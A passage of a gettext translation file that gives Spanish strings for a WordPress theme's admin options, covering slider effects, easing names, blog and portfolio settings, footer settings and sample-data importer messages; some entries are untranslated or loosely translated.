#: ../includes/locals.php:190
msgid "random"
msgstr "al azar"

#: ../includes/locals.php:191
msgid "simpleFade"
msgstr "simpleFade"

#: ../includes/locals.php:192
msgid "curtainTopLeft"
msgstr "curtainTopLeft"

#: ../includes/locals.php:193
msgid "curtainTopRight"
msgstr "curtainTopRight"

#: ../includes/locals.php:194
msgid "curtainBottomLeft"
msgstr "curtainBottomLeft"

#: ../includes/locals.php:195
msgid "curtainBottomRight"
msgstr "curtainBottomRight"

#: ../includes/locals.php:196
msgid "curtainSliceLeft"
msgstr "curtainSliceLeft"

#: ../includes/locals.php:197
msgid "curtainSliceRight"
msgstr "curtainSliceRight"

#: ../includes/locals.php:198
msgid "blindCurtainTopLeft"
msgstr "blindCurtainTopLeft"

#: ../includes/locals.php:199
msgid "blindCurtainTopRight"
msgstr "blindCurtainTopRight"

#: ../includes/locals.php:200
msgid "blindCurtainBottomLeft"
msgstr "blindCurtainBottomLeft"

#: ../includes/locals.php:201
msgid "blindCurtainBottomRight"
msgstr "blindCurtainBottomRight"

#: ../includes/locals.php:202
msgid "blindCurtainSliceBottom"
msgstr "blindCurtainSliceBottom"

#: ../includes/locals.php:203
msgid "blindCurtainSliceTop"
msgstr "blindCurtainSliceTop"

#: ../includes/locals.php:204
msgid "stampede"
msgstr "stampede"

#: ../includes/locals.php:205
msgid "mosaic"
msgstr "mosaic"

#: ../includes/locals.php:206
msgid "mosaicReverse"
msgstr "mosaicReverse"

#: ../includes/locals.php:207
msgid "mosaicRandom"
msgstr "mosaicRandom"

#: ../includes/locals.php:208
msgid "mosaicSpiral"
msgstr "mosaicSpiral"

#: ../includes/locals.php:209
msgid "mosaicSpiralReverse"
msgstr "mosaicSpiralReverse"

#: ../includes/locals.php:210
msgid "topLeftBottomRight"
msgstr "topLeftBottomRight"

#: ../includes/locals.php:211
msgid "bottomRightTopLeft"
msgstr "bottomRightTopLeft"

#: ../includes/locals.php:212
msgid "bottomLeftTopRight"
msgstr "bottomLeftTopRight"

#: ../includes/locals.php:213 ../includes/locals.php:214
msgid "Number of columns"
msgstr "Número de columnas"

#: ../includes/locals.php:215 ../includes/locals.php:216
msgid "Number of rows"
msgstr "Número de filas"

#: ../includes/locals.php:217
msgid "Banner effect"
msgstr "Efecto de banner"

#: ../includes/locals.php:218
msgid "moveFromLeft"
msgstr "moveFromLeft"

#: ../includes/locals.php:219
msgid "moveFromRight"
msgstr "moveFromRight"

#: ../includes/locals.php:220
msgid "moveFromTop"
msgstr "moveFromTop"

#: ../includes/locals.php:221
msgid "moveFromBottom"
msgstr "moveFromBottom"

#: ../includes/locals.php:222
msgid "fadeIn"
msgstr "fadeIn"

#: ../includes/locals.php:223
msgid "fadeFromLeft"
msgstr "fadeFromLeft"

#: ../includes/locals.php:224
msgid "fadeFromRight"
msgstr "fadeFromRight"

#: ../includes/locals.php:225
msgid "fadeFromTop"
msgstr "fadeFromTop"

#: ../includes/locals.php:226
msgid "fadeFromBottom"
msgstr "fadeFromBottom"

#: ../includes/locals.php:227
msgid "Select your banner animation type."
msgstr "Elegir el tipo de animación de banner."

#: ../includes/locals.php:228
msgid "Pause time"
msgstr "Tiempo de pausa"

#: ../includes/locals.php:229
msgid "Pause time (ms)."
msgstr "Tiempo de pausa (ms)."

#: ../includes/locals.php:230
msgid "Animation speed"
msgstr "Velocidad de animación"

#: ../includes/locals.php:231
msgid "Animation speed (ms)"
msgstr "Velocidad de animación (ms)"

#: ../includes/locals.php:233
msgid "Animate slider automatically?"
msgstr "Animar slider automáticamente"

#: ../includes/locals.php:234
msgid "Thumbnails"
msgstr "Thumbnails"

#: ../includes/locals.php:235
msgid "Display thumbnails?"
msgstr "¿Mostrar thumbnails?"

#: ../includes/locals.php:236
msgid "Pagination"
msgstr "Paginación"

#: ../includes/locals.php:237
msgid "Display pagination?"
msgstr "¿Mostrar paginación?"

#: ../includes/locals.php:238
msgid "Next & Prev navigation"
msgstr "Navegación 'Siguiente y Anterior'"

#: ../includes/locals.php:239
msgid "Display next & prev navigation?"
msgstr "¿Mostrar navegación 'Siguiente y Anterior'?"

#: ../includes/locals.php:240
msgid "Display next & prev navigation only on hover?"
msgstr "¿Mostrar navegación siguiente y anterior en estado estacionario sólo?"

#: ../includes/locals.php:241
msgid ""
"If true the navigation button (prev, next and play/stop buttons) will be "
"visible on hover state only, if false they will be visible always"
msgstr ""
"Si es 'Sí', el botón de navegación (anterior, siguiente y botones Reproducir/"
"Pausa) serán visibles en estado estacionario sólo, si es 'No' serán visibles "
"siempre."

#: ../includes/locals.php:242
msgid "Play/Pause button"
msgstr "Botón Reproducir/Pausa"

#: ../includes/locals.php:243
msgid "Display Play/Pause button?"
msgstr "¿Mostrar el Botón Reproducir/Pausa?"

#: ../includes/locals.php:244
msgid "Pause on hover"
msgstr ""

#: ../includes/locals.php:245
msgid "Stop slideshow on hover?"
msgstr ""

#: ../includes/locals.php:246
msgid "Loader"
msgstr "Cargadora"

#: ../includes/locals.php:247
msgid "Slider loader"
msgstr "Cargadora de slider"

#: ../includes/locals.php:248
msgid "Pie"
msgstr "Pie"

#: ../includes/locals.php:249
msgid "Bar"
msgstr "Barra"

#: ../includes/locals.php:252
msgid "Slides to display"
msgstr "Diapositivas para mostrar"

#: ../includes/locals.php:253
msgid ""
"Select the slides that you want to be displayed on slider. If no slide is "
"selected, all slides will be displayed."
msgstr ""
"Elija las diapositivas que desea que aparezcan en slider. Si no se "
"selecciona ninguna de diapositivas, se mostrarán todas las diapositivas."

#: ../includes/locals.php:254
msgid "Pause on mouseover"
msgstr "Pausa al mouseover"

#: ../includes/locals.php:255
msgid "The auto play will pause when you mouse over the slider."
msgstr ""
"La reproducción automática se pausará al colocar el ratón sobre el slider."

#: ../includes/locals.php:256
msgid "Animation slowdown"
msgstr "Velocidad de animación"

#: ../includes/locals.php:257
msgid ""
"You can choose different types of animation slowdown for transition of "
"slides."
msgstr ""
"Usted puede elegir diferentes tipos de desaceleración de animación para la "
"transición de las diapositivas."

#: ../includes/locals.php:258
msgid "Mouse events for transition of slides"
msgstr "Eventos del ratón para la transición de las diapositivas"

#: ../includes/locals.php:259
msgid ""
"You can choose different types of mouse events for transition of slides."
msgstr ""
"Usted puede elegir diferentes tipos de eventos de ratón para la transición "
"de las diapositivas."

#: ../includes/locals.php:260
msgid "Click"
msgstr "Clic"

#: ../includes/locals.php:261
msgid "Mouseover"
msgstr "Mouseover"

#: ../includes/locals.php:262
msgid "Double click"
msgstr "Clic doble"

#: ../includes/locals.php:263
msgid "Active slide"
msgstr "Activar"

#: ../includes/locals.php:264
msgid ""
"Set the number of slide that will be active by default. If the value is 0, "
"all slides will be of the same width when page loads."
msgstr ""
"Especifique el número de diapositiva que se activará de manera "
"predeterminada. Si el valor es 0, todas las diapositivas serán de la misma "
"anchura cuando se carga la página."

#: ../includes/locals.php:265
msgid "linear"
msgstr "linear"

#: ../includes/locals.php:266
msgid "easeInSine"
msgstr "easeInSine"

#: ../includes/locals.php:267
msgid "easeOutSine"
msgstr "easeOutSine"

#: ../includes/locals.php:268
msgid "easeInOutSine"
msgstr "easeInOutSine"

#: ../includes/locals.php:269
msgid "easeInQuad"
msgstr "easeInQuad"

#: ../includes/locals.php:270
msgid "easeOutQuad"
msgstr "easeOutQuad"

#: ../includes/locals.php:271
msgid "easeInOutQuad"
msgstr "easeInOutQuad"

#: ../includes/locals.php:272
msgid "easeInCubic"
msgstr "easeInCubic"

#: ../includes/locals.php:273
msgid "easeOutCubic"
msgstr "easeOutCubic"

#: ../includes/locals.php:274
msgid "easeInOutCubic"
msgstr "easeInOutCubic"

#: ../includes/locals.php:275
msgid "easeInQuart"
msgstr "easeInQuart"

#: ../includes/locals.php:276
msgid "easeOutQuart"
msgstr "easeOutQuart"

#: ../includes/locals.php:277
msgid "easeInOutQuart"
msgstr "easeInOutQuart"

#: ../includes/locals.php:278
msgid "easeInQuint"
msgstr "easeInQuint"

#: ../includes/locals.php:279
msgid "easeOutQuint"
msgstr "easeOutQuint"

#: ../includes/locals.php:280
msgid "easeInOutQuint"
msgstr "easeInOutQuint"

#: ../includes/locals.php:281
msgid "easeInExpo"
msgstr "easeInExpo"

#: ../includes/locals.php:282
msgid "easeOutExpo"
msgstr "easeOutExpo"

#: ../includes/locals.php:283
msgid "easeInOutExpo"
msgstr "easeInOutExpo"

#: ../includes/locals.php:284
msgid "easeInCirc"
msgstr "easeInCirc"

#: ../includes/locals.php:285
msgid "easeOutCirc"
msgstr "easeOutCirc"

#: ../includes/locals.php:286
msgid "easeInOutCirc"
msgstr "easeInOutCirc"

#: ../includes/locals.php:287
msgid "easeInBack"
msgstr "easeInBack"

#: ../includes/locals.php:288
msgid "easeOutBack"
msgstr "easeOutBack"

#: ../includes/locals.php:289
msgid "easeInOutBack"
msgstr "easeInOutBack"

#: ../includes/locals.php:290
msgid "easeInElastic"
msgstr "easeInElastic"

#: ../includes/locals.php:291
msgid "easeOutElastic"
msgstr "easeOutElastic"

#: ../includes/locals.php:292
msgid "easeInOutElastic"
msgstr "easeInOutElastic"

#: ../includes/locals.php:293
msgid "easeInBounce"
msgstr "easeInBounce"

#: ../includes/locals.php:294
msgid "easeOutBounce"
msgstr "easeOutBounce"

#: ../includes/locals.php:295
msgid "easeInOutBounce"
msgstr "easeInOutBounce"

#: ../includes/locals.php:298
msgid "Blog"
msgstr "Blog"

#: ../includes/locals.php:299
msgid "Blog Title"
msgstr "Título de Blog"

#: ../includes/locals.php:300
msgid "Enter Your Blog Title used on Blog page."
msgstr "Escriba el Título de su Blog usado en la página de Blog."

#: ../includes/locals.php:301
msgid "Related Posts Title"
msgstr "Título de Entradas relacionadas"

#: ../includes/locals.php:302
msgid "Enter Your Title used on Single Post page for related posts."
msgstr ""
"Escriba el título utilizado en la página de Entrada Individual para las "
"entradas relacionadas."

#: ../includes/locals.php:303
msgid "Related Posts"
msgstr "Entradas relacionadas"

#: ../includes/locals.php:304
msgid "Blog layout"
msgstr "Diseño del blog"

#: ../includes/locals.php:305
msgid "Choose blog layout."
msgstr "Eligir el diseño del blog"

#: ../includes/locals.php:306
msgid "Aside left."
msgstr "Parte izquierda."

#: ../includes/locals.php:307
msgid "Aside right."
msgstr "Parte derecha."

#: ../includes/locals.php:308
msgid "Full width."
msgstr "Anchura completa."

#: ../includes/locals.php:309
msgid "Masonry."
msgstr "Masonry."

#: ../includes/locals.php:310
msgid "Blog image size"
msgstr "Tamaño de imagen de blog"

#: ../includes/locals.php:311
msgid "Featured image size on the blog."
msgstr "Tamaño de imagen destacada en el blog."

#: ../includes/locals.php:312
msgid "Should images be uploaded on page scroll?"
msgstr "¿Cargar imágenes al desplazarse?"

#: ../includes/locals.php:313
msgid ""
"You can enable images load only as you scroll down the page. Otherwise "
"images will load all at once."
msgstr ""
"Se puede activar la caga de imágenes sólo al scroll de página. De lo "
"contrario las imágenes se cargarán todas a la vez."

#: ../includes/locals.php:314 ../includes/locals.php:315
msgid "Display share button in single post?"
msgstr "¿Mostrar botón compartir en entrada?"

#: ../includes/locals.php:316
msgid "Single post image size"
msgstr "Tamaño de imagen de entrada única"

#: ../includes/locals.php:317
msgid "Featured image size on the single page."
msgstr "Tamaño de imagen destacada en una página."

#: ../includes/locals.php:318
msgid "View meta of the blog."
msgstr "Ver meta del blog."

#: ../includes/locals.php:319
msgid "Select meta block type which will be displayed on blog and post pages."
msgstr ""
"Seleccione tipo de bloque meta que será mostrado en el blog y en las páginas "
"de entrada."

#: ../includes/locals.php:320
msgid "Display meta."
msgstr ""

#: ../includes/locals.php:321
msgid "Select where to display meta block."
msgstr ""

#: ../includes/locals.php:322
msgid "Only blog."
msgstr ""

#: ../includes/locals.php:323
msgid "Only post."
msgstr ""

#: ../includes/locals.php:324
msgid "Blog and post."
msgstr ""

#: ../includes/locals.php:325
msgid "Enable excerpt for blog posts?"
msgstr "¿Activar extracto para entradas de blog?"

#: ../includes/locals.php:326
msgid "Enable or Disable excerpt for blog posts."
msgstr "Activar o Desactivar extracto para entradas de blog."

#: ../includes/locals.php:327 ../includes/locals.php:328
msgid "Button text for blog posts."
msgstr "Texto de botón para entradas de blog."

#: ../includes/locals.php:329
msgid "Do not show."
msgstr "No mostrar."

#: ../includes/locals.php:330
msgid "Lines."
msgstr "Líneas."

#: ../includes/locals.php:331
msgid "Columns."
msgstr "Columnas."

#: ../includes/locals.php:332
msgid "Icons."
msgstr "Iconos."

#: ../includes/locals.php:333
msgid "Post publication date."
msgstr "Fecha de publicación de la entrada."

#: ../includes/locals.php:334
msgid "Should the post publication date be displayed?"
msgstr "¿Debería mostrarse la fecha de publicación de la entrada?"

#: ../includes/locals.php:335
msgid "Author of the post."
msgstr "Autor de la entrada."

#: ../includes/locals.php:336
msgid "Display the author of the post?"
msgstr "¿Mostrar el autor de la entrada?"

#: ../includes/locals.php:337
msgid "Direct link to the post."
msgstr "Enlace directo a la entrada."

#: ../includes/locals.php:338
msgid "Should the direct link to the post be displayed? "
msgstr "¿Debería mostrarse el enlace directo de la entrada?"

#: ../includes/locals.php:339
msgid "Post categories."
msgstr "Categorías de las entradas."

#: ../includes/locals.php:340
msgid "Should the post categories be displayed?"
msgstr "¿Deberían mostrarse las categorías de las entradas?"

#: ../includes/locals.php:341
msgid "Tags be displayed."
msgstr "Mostrar etiquetas."

#: ../includes/locals.php:342
msgid "Should the tags be displayed?"
msgstr "¿Deberían mostrarse las etiquetas?"

#: ../includes/locals.php:343
msgid "Number of comments."
msgstr "Numero de comentarios."

#: ../includes/locals.php:344
msgid "Should the number of comments be displayed?"
msgstr "¿Deberían mostrarse el número de comentarios?"

#: ../includes/locals.php:345 ../includes/locals.php:673
msgid "Number of view."
msgstr "Número de vistas."

#: ../includes/locals.php:346
msgid "Should the number of view be displayed?"
msgstr "¿Debería mostrarse el número de vistas?"

#: ../includes/locals.php:347
msgid "Number of likes."
msgstr "Número de “Me gusta”."

#: ../includes/locals.php:348
msgid "Should the number of likes be displayed?"
msgstr "¿Debería mostrarse el número de “Me gusta”?"

#: ../includes/locals.php:349
msgid "Number of dislikes."
msgstr "Numero de “No me gusta”."

#: ../includes/locals.php:350
msgid "Should the number of dislikes be displayed?"
msgstr "¿Debería mostrarse el numero de “No me gusta”?"

#: ../includes/locals.php:354
msgid "Portfolio"
msgstr "Cartera"

#: ../includes/locals.php:355
msgid "Filter"
msgstr "Filtro"

#: ../includes/locals.php:356
msgid "Portfolio filter."
msgstr "Filtro de cartera"

#: ../includes/locals.php:357
msgid "By category"
msgstr "Por categoría"

#: ../includes/locals.php:358
msgid "By tags"
msgstr "Por etiquetas"

#: ../includes/locals.php:359
msgid "Both (by category and tags)"
msgstr "Ambas (por categoría y por etiquetas)"

#: ../includes/locals.php:360
msgid "Show title?"
msgstr "¿Mostrar título?"

#: ../includes/locals.php:361
msgid "Enable or Disable title for portfolio posts."
msgstr "Activar o Desactivar título para entradas de cartera."

#: ../includes/locals.php:362
msgid "Show excerpt?"
msgstr "¿Mostrar extracto?"

#: ../includes/locals.php:363
msgid "Enable or Disable excerpt for portfolio posts."
msgstr "Activar o Desactivar extracto para entradas de cartera."

#: ../includes/locals.php:364 ../includes/locals.php:365
msgid "Button text for portfolio posts."
msgstr "Texto de botón para entradas de portfolio."

#: ../includes/locals.php:366
msgid "Excerpt words"
msgstr "Palabras de extracto"

#: ../includes/locals.php:367
msgid "Excerpt length (words)."
msgstr "Extracto (palabras)"

#: ../includes/locals.php:368
msgid "Show button?"
msgstr "¿Mostrar botón?"

#: ../includes/locals.php:369
msgid "Enable or Disable button for portfolio posts."
msgstr "Activar o Desactivar botón para entradas de cartera."

#: ../includes/locals.php:370
msgid "Show portfolio meta?"
msgstr "Mostrar meta"

#: ../includes/locals.php:371
msgid "Enable or Disable meta for single portfolio posts."
msgstr "Activar o Desactivar extracto para entradas de cartera."

#: ../includes/locals.php:372
msgid "Enable or Disable lightbox for portfolio posts."
msgstr "Activar o desactivar la selección para las entradas de la carpeta."

#: ../includes/locals.php:373
msgid "Layout"
msgstr "Diseño"

#: ../includes/locals.php:374
msgid ""
"Portfolio has different layout modes. You can set and change the layout mode "
"via this option."
msgstr ""
"Cartera tiene varios modos de diseño. Se puede configurar y cambiar el modo "
"de diseño por medio de esta opción."

#: ../includes/locals.php:375
msgid "Fit rows"
msgstr "Encajar filas"

#: ../includes/locals.php:376
msgid "Masonry"
msgstr "Masonry"

#: ../includes/locals.php:377
msgid "Single portfolio layout"
msgstr "Un único diseño de cartera"

#: ../includes/locals.php:378
msgid "Single portfolio layout."
msgstr "Un único diseño de cartera."

#: ../includes/locals.php:379
msgid "Fullwidth"
msgstr "Ancho completo"

#: ../includes/locals.php:380 ../includes/locals.php:705
msgid "Columns"
msgstr "Columnas"

#: ../includes/locals.php:381
msgid "Gallery-format post portfolio layout"
msgstr ""

#: ../includes/locals.php:382
msgid "Select portfolio layout for gallery-format post."
msgstr ""

#: ../includes/locals.php:383
msgid "Portfolio 2 columns items amount"
msgstr "Cantidad de artículos en cartera de 2 columnas"

#: ../includes/locals.php:384
msgid "Portfolio items amount for Portfolio 2 columns template."
msgstr "Cantidad de artículos para plantilla de cartera de 2 columnas."

#: ../includes/locals.php:385
msgid "Portfolio 3 columns items amount"
msgstr "Cantidad de artículos en cartera de 3 columnas"

#: ../includes/locals.php:386
msgid "Portfolio items amount for Portfolio 3 columns template."
msgstr "Cantidad de artículos para plantilla de cartera de 3 columnas."

#: ../includes/locals.php:387
msgid "Portfolio 4 columns items amount"
msgstr "Cantidad de artículos en cartera de 4 columnas"

#: ../includes/locals.php:388
msgid "Portfolio items amount for Portfolio 4 columns template."
msgstr "Cantidad de artículos para plantilla de cartera de 4 columnas."

#: ../includes/locals.php:389
msgid "Sort filter by parameter (orderby)"
msgstr ""

#: ../includes/locals.php:390
msgid "Sort filter alphabetically or by unique category ID."
msgstr ""

#: ../includes/locals.php:391
msgid "Sort order for filter"
msgstr ""

#: ../includes/locals.php:392
msgid "Sort order for filter (either ascending or descending)."
msgstr ""

#: ../includes/locals.php:393
msgid "Sort retrieved posts by parameter (orderby)"
msgstr ""

#: ../includes/locals.php:394
msgid "Sort retrieved posts by parameter."
msgstr ""

#: ../includes/locals.php:395
msgid "Sort order for posts"
msgstr ""

#: ../includes/locals.php:396
msgid ""
"Designates the ascending or descending order of the \"orderby\" parameter."
msgstr ""

#: ../includes/locals.php:399
msgid "Footer"
msgstr "Pie de página"

#: ../includes/locals.php:400
msgid "Footer copyright text"
msgstr "Texto de derechos de autor de pie de página"

#: ../includes/locals.php:401
msgid "Enter text used in the right side of the footer. HTML tags are allowed."
msgstr ""
"Introduzca el texto que se utiliza en el pie de página. Etiquetas HTML están "
"permitidas."

#: ../includes/locals.php:402
msgid "Google Analytics Code"
msgstr "Código de Google Analytics"

#: ../includes/locals.php:403
msgid ""
"You can paste your Google Analytics or other tracking code in this box. This "
"will be automatically added to the footer."
msgstr ""
"Usted puede pegar su código de Google Analytics u otro código de seguimiento "
"en este cuadro. El código se añade automáticamente al pie de página."

#: ../includes/locals.php:404
msgid "Feedburner URL"
msgstr "URL de Feedburner"

#: ../includes/locals.php:405
msgid ""
"Feedburner is a Google service that takes care of your RSS feed. Paste your "
"Feedburner URL here to let readers see it in your website."
msgstr ""
"Feedburner es un servicio de Google que se encarga de su feed RSS. Pegue el "
"enlace URL de Feedburner aquí para que los lectores lo vean en su sitio web."

#: ../includes/locals.php:406
msgid "Display Footer Menu?"
msgstr "¿Mostrar Menú de Pie de página?"

#: ../includes/locals.php:407
msgid "Do you want to display footer menu?"
msgstr "¿Quiere mostrar menú de pie de página?"

#: ../includes/locals.php:408
msgid "Footer Menu Typography"
msgstr "Tipografía de Menú de Pie de página"

#: ../includes/locals.php:409
msgid ""
"Choose your prefered font for menu. <em>Note: fonts marked with <strong>*</"
"strong> symbol will be loaded from the <a href=\"//www.google.com/webfonts"
"\">Google Web Fonts</a> library.</em>"
msgstr ""
"Elija su tamaño de letra preferido para el menú. <em>Nota: el tamaño de "
"letra marcada con el símbolo <strong>*</strong> se cargará desde la "
"biblioteca de <a href='//www.google.com/webfonts'>Tipos de Letra de Google</"
"a>.</em>"

#: ../includes/locals.php:410
msgid "Footer Menu Font"
msgstr "Tamaño de letra del Menú en el Pie de página"

#: ../includes/locals.php:411
msgid "Footer Menu Color"
msgstr "Color del Menú en el Pie de página"

#: ../includes/locals.php:431
msgid "Sorry, there has been an error."
msgstr "Lo sentimos, se ha producido un error."

#: ../includes/locals.php:432
msgid "The file does not exist, please "
msgstr "El fichero no existe, por favor"

#: ../includes/locals.php:433
msgid "Please"
msgstr "Por favor"

#: ../includes/locals.php:434
#, php-format
msgid ""
"This WXR file (version %s) may not be supported by this version of the "
"importer. Please consider updating."
msgstr ""
"Este fichero WXR (versión %s) no es compatible con esta versión del "
"importador. Por favor, realice la actualización."

#: ../includes/locals.php:435
#, php-format
msgid ""
"The export file could not be found at <code>%s</code>. It is likely that "
"this was caused by a permissions problem."
msgstr ""
"No se puede encontrar el fichero exportado  en <code>% s</code>. A veces es "
"causado por un problema de permisos.  "

#: ../includes/locals.php:436
#, php-format
msgid ""
"Failed to import author %s. Their posts will be attributed to the current "
"user."
msgstr ""
"No se pudo importar autor %s. Sus entradas serán asignadas al usuario actual."

#: ../includes/locals.php:437
msgid "Assign Authors"
msgstr "Asignar Autores"

#: ../includes/locals.php:438
msgid ""
"To make it easier for you to edit and save the imported content, you may "
"want to reassign the author of the imported item to an existing user of this "
"site. For example, you may want to import all the entries as <b>admin</b> "
"entries."
msgstr ""
"Para editar y guardar el contenido importado sin problemas, es posible que "
"desee reasignar el autor de entrada importada a un usuario existente de este "
"sitio. Por ejemplo, es posible que desee importar todas las entradas como "
"entradas de <b> admin</b>."

#: ../includes/locals.php:439
#, php-format
msgid ""
"If a new user is created by WordPress, a new password will be randomly "
"generated and the new user&#8217;s role will be set as %s. Manually changing "
"the new user&#8217;s details will be necessary."
msgstr ""
"Si se crea un usuario nuevo por medio de WordPress, una nueva contraseña "
"será generada al azar y el papel del nuevo usuario será configurado como %s. "
"Tendrá que editar manualmente los datos del usuario nuevo."

#: ../includes/locals.php:440
msgid "Download and import file attachments"
msgstr "Descargue e importe adjuntos de fichero"

#: ../includes/locals.php:441
msgid "Import Data"
msgstr "Importar datos:"

#: ../includes/locals.php:442
msgid "Import author:"
msgstr "Importar autor:"

#: ../includes/locals.php:443
msgid "assign posts to an existing user:"
msgstr "asignar entradas al usuario existente:"

#: ../includes/locals.php:444
msgid "- Select -"
msgstr "-Elegir-"

#: ../includes/locals.php:445
#, php-format
msgid ""
"Failed to create new user for %s. Their posts will be attributed to the "
"current user."
msgstr ""
"No se pudo crear un nuevo usuario para %s. Sus entradas serán asignadas al "
"usuario actual."

#: ../includes/locals.php:446
#, php-format
msgid "Failed to import category %s "
msgstr "No se pudo importar categoría %s"

#: ../includes/locals.php:447
#, php-format
msgid "Failed to import post tag %s"
msgstr "No se pudo importar etiqueta de entrada %s"

#: ../includes/locals.php:448
#, php-format
msgid "Failed to import %s %s "
msgstr "No se pudo importar %s %s"

#: ../includes/locals.php:449
#, php-format
msgid "Failed to import &#8220;%s&#8221;: Invalid post type %s "
msgstr "No se pudo importar &#8220;%s&#8221;: Tipo no válido de entrada %s "

#: ../includes/locals.php:450
#, php-format
msgid "%s &#8220;%s&#8221; already exists."
msgstr "%s &#8220;%s&#8221; ya existe."

#: ../includes/locals.php:451
#, php-format
msgid "Failed to import %s &#8220;%s&#8221; "
msgstr "No se pudo importar %s &#8220;%s&#8221; "

#: ../includes/locals.php:452
msgid "Menu item skipped due to missing menu slug "
msgstr "Elemento de menú omitido por falta de slug de menú"

#: ../includes/locals.php:453
#, php-format
msgid "Menu item skipped due to invalid menu slug: %s "
msgstr "Elemento de menú omitido por slug inválido de menú: %s "

#: ../includes/locals.php:454
msgid "Fetching attachments is not enabled "
msgstr "Obtención de adjuntos no está activada"

#: ../includes/locals.php:455
msgid "Invalid file type"
msgstr "Tipo de fichero no válido"

#: ../includes/locals.php:456
msgid "Remote server did not respond"
msgstr "Servidor remoto no respondió"

#: ../includes/locals.php:457
#, php-format
msgid "Remote server returned error response %1$d %2$s "
msgstr "Servidor remoto devolvió un error %1$d %2$s "

#: ../includes/locals.php:458
msgid "Remote file is incorrect size "
msgstr "El tamaño de fichero remoto es incorrecto"

#: ../includes/locals.php:459
msgid "Zero size file downloaded "
msgstr "Tamaño zero de fichero descargado"

#: ../includes/locals.php:460
#, php-format
msgid "Remote file is too large, limit is %s "
msgstr "Fichero remoto es demasiado grande, límite es %s "

#: ../includes/locals.php:461
msgid "<span>Step <i>1</i></span> Data Import"
msgstr "<span>Paso<i>1</i></span> Importar datos"

#: ../includes/locals.php:462
msgid "<span>Step <i>2</i></span> Assign Authors"
msgstr "<span>Paso<i>2</i></span> Asignar autores"

#: ../includes/locals.php:463
#, php-format
msgid ""
"A new version of this importer is available. Please update to version %s to "
"ensure compatibility with newer export files. "
msgstr ""
"Una nueva versión de este importador está disponible. Por favor, actualice a "
"la versión % s para garantizar la compatibilidad con los ficheros exportados "
"más nuevos."

#: ../includes/locals.php:464
msgid ""
"Select (<b>.xml</b>) file to upload sample data.<br>If you do not want to "
"install sample data from livedemo you need to <b>skip this step</b>."
msgstr ""
"Seleccionar (<b>.xml</b>)  archivo para cargar datos de muestra.<br> Si no "
"desea instalar datos de muestra de livedemo <b> omitir este paso</b>."

#: ../includes/locals.php:465
msgid ""
"Please note that certain content is already installed. You may simply need "
"to skip this step. Otherwise, you can proceed with the installation."
msgstr ""
"Por favor tenga en cuenta que cierto contenido ya está instalado. "
"Simplemente necesitará omitir este paso. De lo contrario, puede proceder con "
"la instalación."

#: ../includes/locals.php:467
msgid ""
"Some of your server settings do not meet the requirements for installing the "
"sample data. Please, consult with your hosting provider on how to increase "
"the required values."
msgstr ""
"Algunas de las configuraciones de su servidor no cumplen los requisitos para "
"instalar los datos de muestra. Por favor, consulte con su proveedor de "
"alojamiento cómo incrementar los valores requeridos."

#: ../includes/locals.php:468
msgid "Server Settings"
msgstr "Configuración de Servidor"

#: ../includes/locals.php:469
msgid "Current"
msgstr "Presente"

#: ../includes/locals.php:470
msgid "NOTE"
msgstr "NOTA"

#: ../includes/locals.php:471
msgid ""
"if for some reason those settings can not be adjusted, you may install the "
"sample data using an <strong>alternative method</strong> - importing the "
"<strong>.sql</strong> file directly into the database. Refer to the template "
"documentation for instructions."
msgstr ""
"si por alguna razón no se puede ajustar esta configuración, hay que instalar "
"los datos de muestra utilizando un <strong>método alternativo</strong> - "
"importación del fichero <strong>.sql</strong> directamente a su base de "
"datos. Consulte la documentación de plantilla para obtener instrucciones."

#: ../includes/locals.php:472
msgid ""
"You can proceed with the template installation without updating server "
"settings, however in this case you can get errors or only part of your "
"content will be loaded."
msgstr ""
"Usted puede completar la instalación de plantilla sin actualización de la "
"configuración del servidor, sin embargo en este caso, Usted puede recibir "
"errores o sólo parte de su contenido se cargará."

#: ../includes/locals.php:473
msgid "Congratulations"
msgstr "¡Felicidades"

#: ../includes/locals.php:474
msgid ""
"You have successfully installed your <b>Cherry WordPress Theme</b>.<br /> "
"You can look theme now"
msgstr ""
"Usted ha instalado satisfactoriamente su <b>Cereza WordPress Theme</b>. <br /"
"> Usted puede mirar el tema ahora"

#: ../includes/locals.php:475
msgid "visit site"
msgstr "visite el sitio"

#: ../includes/locals.php:476
msgid ""
"You might see only the white screen on the next step. Don't worry, the "
"importing is being continued. Please wait until the installation is finished."
msgstr ""
"Puede que vea solamente la pantalla blanca en el siguiente paso. No se "
"preocupe, la importación esta siendo efectuada. Por favor, espere hasta que "
"la instalación sea completada."

#: ../includes/locals.php:477
msgid ""
"<b>Attention:</b> the Jigoshop plugin is not activated. We recommend that "
"you install and activate this plugin to ensure correct data importing. "
"Otherwise, some data may be lost during the import."
msgstr ""
"<b>Atención:</b> El plugin (complemento) Jigoshop no está activado. "
"Recomendamos instalar y activar este plugin (complemento) para garantizar la "
"importación correcta de los datos. De lo contrario, algunos datos podrían "
"perderse durante la importación."

#: ../includes/locals.php:478
msgid ""
"<b>Attention:</b> the WooCommerce plugin is not activated. We recommend that "
"you install and activate this plugin to ensure correct data importing. "
"Otherwise, some data may be lost during the import."
msgstr ""
"<b>Atención:</b> El plugin (complemento) WooCommerce no está activado. "
"Recomendamos instalar y activar este plugin (complemento) para garantizar la "
"importación correcta de los datos. De lo contrario, algunos datos podrían "
"perderse durante la importación."

#: ../includes/locals.php:481
msgid "The login information you have entered is incorrect."
msgstr "La información de login que ha introducido es incorrecta."

#: ../includes/locals.php:482
msgid ""
"You need to enable write permissions on your server to use these functions."
msgstr ""
"Necesita activar los permisos de escritura en su servidor para usar estas "
"funciones."

#: ../includes/locals.php:483
msgid ""
"Cherry Framework is not able to perform necessary changes for the correct "
"work with your child theme."
msgstr ""
"El marco de trabajo Cherry no es capaz de realizar los cambios necesarios "
"para el correcto funcionamiento con su tema infantil."

#: ../includes/locals.php:484
msgid ""
"See <a target=\"_blank\" href=\"//codex.wordpress.org/"
"Changing_File_Permissions\">the Codex</a> for more information."
msgstr ""
"Consulte <a target=\"_blank\" href=\"//codex.wordpress.org/"
"Changing_File_Permissions\">el Codex</a> para más información."

#: ../includes/locals.php:487
msgid "Header Menu"
msgstr "Menú de cabecera"

#: ../includes/locals.php:488
msgid "Footer Menu"
msgstr "Menú de pie de página"

#: ../includes/locals.php:490
msgid "Testimonial"
msgstr "Testimonio"

#: ../includes/locals.php:491
msgid "Services"
msgstr "Servicios"

#: ../includes/locals.php:492
msgid "FAQs"
msgstr "Preguntas frecuentes"

#: ../includes/locals.php:493
msgid "Our Team"
msgstr "Nuestro Equipo"

#: ../includes/locals.php:494
msgid "Category"
msgstr "Categoría"

#: ../includes/locals.php:495
